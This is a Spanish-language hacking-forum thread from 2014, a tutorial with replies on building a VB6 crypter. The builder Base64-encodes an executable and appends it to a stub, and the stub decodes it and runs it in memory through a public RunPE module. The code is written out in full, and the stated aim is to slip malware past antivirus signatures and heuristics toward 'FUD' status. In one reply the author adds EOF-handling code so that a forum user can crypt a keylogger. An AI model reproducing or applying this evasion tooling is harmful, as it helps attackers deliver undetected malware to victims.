• [Tutorial] ¿Qué es un crypter y cómo hago uno?

  • Aquí puedes postear manuales referentes a malware y herramientas relativas a la tematica del foro.
Aquí puedes postear manuales referentes a malware y herramientas relativas a la tematica del foro.
 #455663  por Blau
 12 Sep 2014, 17:45
Introducción

El objetivo de este tutorial es el de ayudar a los recién iniciados en el mundo de la (in)seguridad informática y la criptografía. Intentaré ser lo más claro y conciso tanto en las explicaciones como en los códigos proporcionados.

Conceptos teóricos básicos

¿Qué es un crypter?
La palabra 'crypter' es el anglicismo de 'cifrador'. Un crypter tiene como objetivo alterar un archivo para que éste pueda saltarse las diversas protecciones que disponen los antivirus.

¿Qué técnicas utilizan principalmente los antivirus?
Los antivirus cuentan con dos formas principales para detectar una amenaza: las firmas y la heurística.
- Firmas: los antivirus detectan patrones hexadecimales en los archivos y los comparan con su base de datos.
- Heurística: los antivirus detectan el comportamiento de un archivo y lo catalogan como amenaza si lo consideran malicioso.

¿Qué lenguaje de programación es el mejor para hacer un crypter?
No hay un lenguaje mejor. Depende mucho de los recursos de los que se disponga y los conocimientos que uno tenga sobre un lenguaje, aunque el más usado es sin duda Visual Basic 6 (VB6 para abreviar), seguido de Visual Basic .NET (VB.NET) y AutoIt (Au3). Object Pascal (Delphi) y C# también son usados pero en menor medida.

¿Qué tipos de crypters hay?
Hay 2:
- Scantime: droppea (suelta) el archivo cifrado en el disco duro (normalmente en la carpeta temp) y luego lo ejecuta. Este tipo de crypter fue de los primeros que hubo y debido a la heurística de los antivirus ahora es inutil.
- Runtime: descifra y ejecuta en memoria el archivo. Esta técnica es útil para evitar la heurística de los antivirus.

Contenido de un crypter

Un crypter se divide en 2 partes: builder y stub.

Builder
Es la herramienta (gráfica) que permite cifrar a un archivo.
Ejemplo de builder del usuario sudo


Stub
Esta es la pieza más importante del crypter. El stub encapsula el propio stub y el archivo cifrado. Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo) y ejecutarlo en el disco duro (scantime) o en memoria (runtime).
Metal_Kingdom escribió:Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.

Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.
Esquema algo cutre de un crypter


PARTE PRÁCTICA
Como sé que a la mayoría de usuarios no le interesa mucho la teórica me enfocaré más en la parte práctica de este tutorial, cuyo objetivo es ayudaros a hacer un crypter en el lenguaje más usado, VB6.

Requisitos
- Nociones básicas de programación (para comprender mejor el código)
- [ Debe registrarse para ver este enlace ] (para desarrollar el crypter en VB6)

Una vez instalados el IDE (entornos de desarrollo por sus siglas en inglés) empezaremos creando el builder del crypter. Será algo sencillo.

Al abrir el IDE te dará a elegir entre crear un nuevo proyecto, abrir uno existente o uno reciente.

Seleccionamos en la pestaña 'Nuevo' la opción 'Exe estándar' y clicamos en 'Abrir'.

Se abrirá el editor gráfico. Aquí es donde añadiremos los botones, labels (etiquetas de texto) y más componentes.

En la parte derecha del IDE encontramos la estructura del proyecto. Hay 3 tipos de "documentos" principales en VB6: formularios (form), módulos (modules) y classes (module classes). Para el builder sólo necesitaremos un formulario.


Para pasar del editor gráfico al editor de código y viceversa hay dos botones en la parte superior del árbol de archivos. Seleccionamos un archivo y clicamos en algunos de los botones siguientes para cambiar de editor.


Empezaremos cambiando el título del formulario, para ello hacemos click en el formulario (en el editor gráfico, obviamente) y en la esquina inferior derecha aparecerán las propiedades del formulario. Buscamos la propiedad 'Caption' y cambiamos 'Form1' por el título que queramos, yo pondré 'Tutorial by Blau'.


Ahora añadiremos una label (etiqueta de texto) en el formulario. Seleccionamos el componente label en la parte izquierda del editor gráfico y lo insertamos dentro del formulario.


Y ahora nos vamos al cuadro de propiedades y cambiamos el atributo 'Caption' por 'Archivo' por ejemplo.


El siguiente componente sera un TextBox (el que está a la derecha del label) y hacemos lo mismo que antes. Una vez el TextBox se encuentra en el formulario, borramos lo que haya en 'Caption' (lo dejamos vacío), la propiedad 'Enabled' la cambiamos por 'False' y '(Nombre)' (la primera propiedad) la cambiamos por algo más representantivo, yo lo llamaré 'txtArchivo'.


Ya casi estará listo el diseño, sólo faltan 2 botones. Uno para buscar el archivo y otro para cifrarlo. El nombre del primero será 'btnBuscar' y el caption será 'Buscar', el nombre del segundo será 'btnCifrar' y el caption 'Cifrar'.


El último paso es añadir el componente para permitir buscar archivos (la típica ventanita de buscar archivos de Windows). Hay que hacer click derecho en el cuadro de componentes (el de la izquierda) y seleccionar la opción 'Componentes'. Se abrirá una ventana con muchos controladores, el que necesitamos es 'Microsoft Common Dialog Control 6.0'. Hacemos doble click y aceptamos.


Ahora insertamos en el formulario el nuevo componente que se ha añadido y cambiamos el nombre a 'CD'.


Con esto, ya estará listo el diseño, ahora toca la parte de código.

Haced doble click en el botón 'Buscar' y se abrirá el editor de código.


Dentro del bloque de código que se ha generado automáticamente (Private Sub btnBuscar_Click()) pegamos el siguiente código:
With CD 'Con el CommonDialog (ventana de seleccionar archivo)
        .DialogTitle = "Selecciona el archivo a cifrar" 'Título de la ventana
        .Filter = "EXE|*.exe" 'Tipos de extensiones a buscar
        .ShowOpen 'Mostrar la ventana para seleccionar archivo
    End With
    If CD.FileName <> vbNullString Then 'Si se ha seleccionado un archivo
        txtArchivo.Text = CD.FileName 'Al TextBox 'txtArchivo' se le atribuye la ruta del archivo como Text
    End If


Volvemos al editor gráfico y hacemos doble click en 'btnCifrar' e insertamos el siguiente código.
With CD 'Con el CommonDialog (ventana de seleccionar archivo)
        .DialogTitle = "Selecciona la ruta donde quieres guardar el archivo cifrado" 'Título de la ventana
        .Filter = "EXE|*.exe" 'Tipos de extensiones a buscar
        .ShowSave 'Mostrar la ventana para guardar archivo
    End With
    If CD.FileName = vbNullString Then 'Si no se ha seleccionado un nombre
        MsgBox "¡No has elegido una ruta/nombre!" 'Un mensaje indicando que no se ha seleccionado una ruta o nombre
        Exit Sub 'Se sale de la acción del botón
    Else 'Si sí se ha seleccionado un nombre
        'Dejamos esto vacío de momento, aquí estará el resto del código que falta
    End If


Ahora tendremos que elegir un algoritmo de cifrado. Adjuntaré una pequeña recopilación de clases de cifrado, yo elegiré Base64 ya que no es un cifrado muy común para crypters. Hacemos click derecho en el nombre del proyecto dentro del árbol de archivos, seleccionamos la opción 'Agregar archivo' y seleccionamos la clase que queramos.


Ahora contiuamos el código en el bloque 'Else' con el siguiente código:
Dim b64 As New clsBase64 'Instanciamos la clase clsBase64 con el nombre 'b64'
    Dim sStub As String 'Aquí almacenaremos el archivo Stub
    Dim sArchivo As String 'Aquí almacenaremos el archivo a cifrar
    Dim sDelimitador As String 'Esta será una cadena de texto para dividir el stub del archivo cifrado
    sDelimitador = "[Blau]Delimitador[Blau]"
        
    Open App.Path & "\Stub.exe" For Binary As #1 'Abrimos en modo binario el stub, 'Stub.exe' es el nombre del Stub
        sStub = Space(LOF(1)) 'Reservamos espacio en memoria
        Get #1, , sStub 'Almacenamos el contenido de 'Stub.exe' en la variable sStub
    Close #1
        
    Open txtArchivo.Text For Binary As #1 'Abrimos en modo binario el archivo a cifrar, txtArchivo contiene la ruta del archivo
        sArchivo = Space(LOF(1)) 'Hacemos lo mismo que con el stub
        Get #1, , sArchivo
    Close #1
        
    sArchivo = b64.Encode(sArchivo) 'Ciframos el contenido del archivo con Base64
        
    Open CD.FileName For Binary As #1 'Creamos y abrimos el archivo donde se guardará
        Put #1, , sStub & sDelimitador & sArchivo 'Dentro del archivo guardamos el Stub, el delimitador y el archivo cifrado
    Close #1
        
    MsgBox "¡Archivo cifrado con éxito!" 'Mostramos un mensaje para avisar al usuario que todo ha ido bien


El builder ya está listo, para decorarlo un poco más puedes cambiarle el icono. Para ello ve al editor gráfico, selecciona el formulario y la propiedad 'Icon' te permitirá buscar un icono.


Ahora toca compilar el builder. Ve a la pestaña 'Archivo' y selecciona 'Generar <NombreProyecto>.exe'.


Guardamos todo y en la pestaña 'Archivo' seleccionamos 'Nuevo proyecto', se nos abrirá la misma ventana que al abrir el IDE. Seleccionamos las mismas opciones que el Builder (Nuevo > EXE estándar > Abrir).

Esta vez no usaremos forumalarios, sino módulos. Hacemos click derecho en 'Form1' en el árbol de archivos y hacemos click en 'Quitar Form1'.

Hacemos click derecho en el proyecto y seleccionamos 'Agregar' > 'Módulo'. Se abrirá una ventana, sólo tenemos que darle a 'Abrir' y en la esquina inferior derecha se aparecerá el cuadro de propiedades del módulo donde sólo se puede cambiar el nombre, yo lo llamaré 'mMain'.


En los módulos sólo se puede escribir código, no hay nada gráfico. Hacemos de nuevo el paso de añadir la clase de cifrado como hemos hecho en el builder.


A continuación pegamos el siguiente código en el módulo 'mMain'.
Sub main()
    Dim sMe() As String 'Array que contiene el Stub y el archivo cifrado
    Dim sDelimitador As String 'Igual que en el builder
    Dim b64 As New clsBase64 'Instancia de la clase clsBase64
    Dim sDescifrado As String 'Archivo descifrado
    Dim sBinario() As Byte 'Array de bytes que tendrá el archivo descifrado
    
    sDelimitador = "[Blau]Delimitador[Blau]" 'IMPORTANTE: mismo delimitador que en el builder
    sMe = SplitMyself(sDelimitador)
    
    '[Array] sMe
    'sMe(0) = Stub
    'sMe(1) = Archivo cifrado
    
    sDescifrado = b64.Decode(sMe(1)) 'Guardamos el archivo descifrado en la variable 'sDescifrado'
    sBinario = StrConv(sDescifrado, vbFromUnicode) 'Convertimos el archivo descifrado a una array de bytes
    
    
End Sub

Public Function GetCurrentPath() 'Función para obtener la ruta del archivo
    GetCurrentPath = App.path & "\" & App.EXEName & ".exe"
End Function

Public Function ReadMyself() 'Función para leerse a sí mismo
    Dim ret As String
    Open GetCurrentPath For Binary As #1
        ret = Space(LOF(1))
        Get #1, , ret
    Close #1
    ReadMyself = ret
End Function

Public Function SplitMyself(sDelimitador As String) 'Función para dividir el stub del archivo cifrado gracias al delimitador
    SplitMyself = Split(ReadMyself, sDelimitador)
End Function


Falta la pieza clave del Stub, el RunPE. El RunPE es el código encargado de ejecutar el archivo en memoria. La mayoría de firmas de los antivirus se centran en este código.
Yo usaré un RunPe aportado por Himanen ([ Debe registrarse para ver este enlace ]).
Agregamos un nuevo módulo al proyecto y lo llamamos 'mRunPE'.


Dentro del módulo pegamos el RunPE.
Si nos fijamos en el RunPE, veremos que esta línea
Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
es la llamada al RunPE así que vamos al módulo mMain y al final del bloque 'Sub main()' pegamos el siguiente código.
Call RunPE(GetCurrentPath, sBinario) 'Con esto nos autoinyectaremos el archivo descifrado


Compilamos el proyecto con el nombre 'Stub.exe' y lo guardamos en la misma ruta que el builder.


¡Sólo tenemos que comprobar que funciona!


Aquí dejo el scan del archivo cifrado:
El resultado no ha sido muy bueno porque he usado métodos básicos y un RunPE público pero con imaginación y modding se puede conseguir un crypter FUD (full undetectable).
Adjuntos
(85.8 KiB) Descargado 661 veces
(48.78 KiB) Descargado 707 veces
 #455675  por Blau
 12 Sep 2014, 21:20
osc escribió:Buen tuto y muy bien explicado!....Gracias por compartirlo!
¡De nada!
snok1415 escribió:Gracias por el tutorial!!!

Una pregunta... quiero encriptar un keylogger y leí que para eso el crypter debe tener EOF. ¿Cómo hago eso?
Necesitas el siguiente módulo
Entonces, en el builder antes de
MsgBox "¡Archivo cifrado con éxito!"
Pegas el siguiente código
Call WriteEOFData(CD.FileName, ReadEOFData(txtArchivo.Text))
 #455692  por Metal_Kingdom
 13 Sep 2014, 02:09
Buen tuto, espero que los usuarios intenten aprender y no solo copiar y pegar.
Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo)
Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.

Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.

Saludos.
 #455693  por comand
 13 Sep 2014, 02:14
Felicidades Blau! Muy bien explicado y fácil de entender uno de los mejores tutoriales para crear crypter que ya había visto. Gracias!
 #455716  por Blau
 13 Sep 2014, 11:56
¡Gracias a todos!
Metal_Kingdom escribió:Buen tuto, espero que los usuarios intenten aprender y no solo copiar y pegar.
Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo)
Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.

Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.

Saludos.
Había pensado en añadir las diferentes opciones pero como es un tutorial enfocado a novatos pensé que el EOF sería lo más conveniente. Añadiré tu aclaración al tutorial, gracias.
 #455737  por Neutrox
 13 Sep 2014, 22:01
Siiiiiiiiiiiiii Sr hermano Blau, tienes mi bendición por lo bien que lo has hecho y mostrado, ya me hubiera gustado a mi pillar este pedazo de tutorial, cuando empecé, me tuve que calentar mucho los cascos para poder comprender el funcionamiento, y pillar cabos sueltos de varios videos.

Sin lugar a dudas es muy bueno, se nota que eres buena gente, me gustaria conocerte en persona.
 #455741  por Blau
 13 Sep 2014, 23:58
Gracias a todos.

Algún día de estos haré más partes, como por ejemplo hacer un crypter en AutoIt, añadir cambiador de icono, soporte para EOF, etc.
snok1415 escribió:Agregué un módulo en el builder pero me sale error aquí:
Código: [ Debe registrarse para ver este enlace ]
Attribute VB_Name = "mEOF"
Elimina esa línea.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 7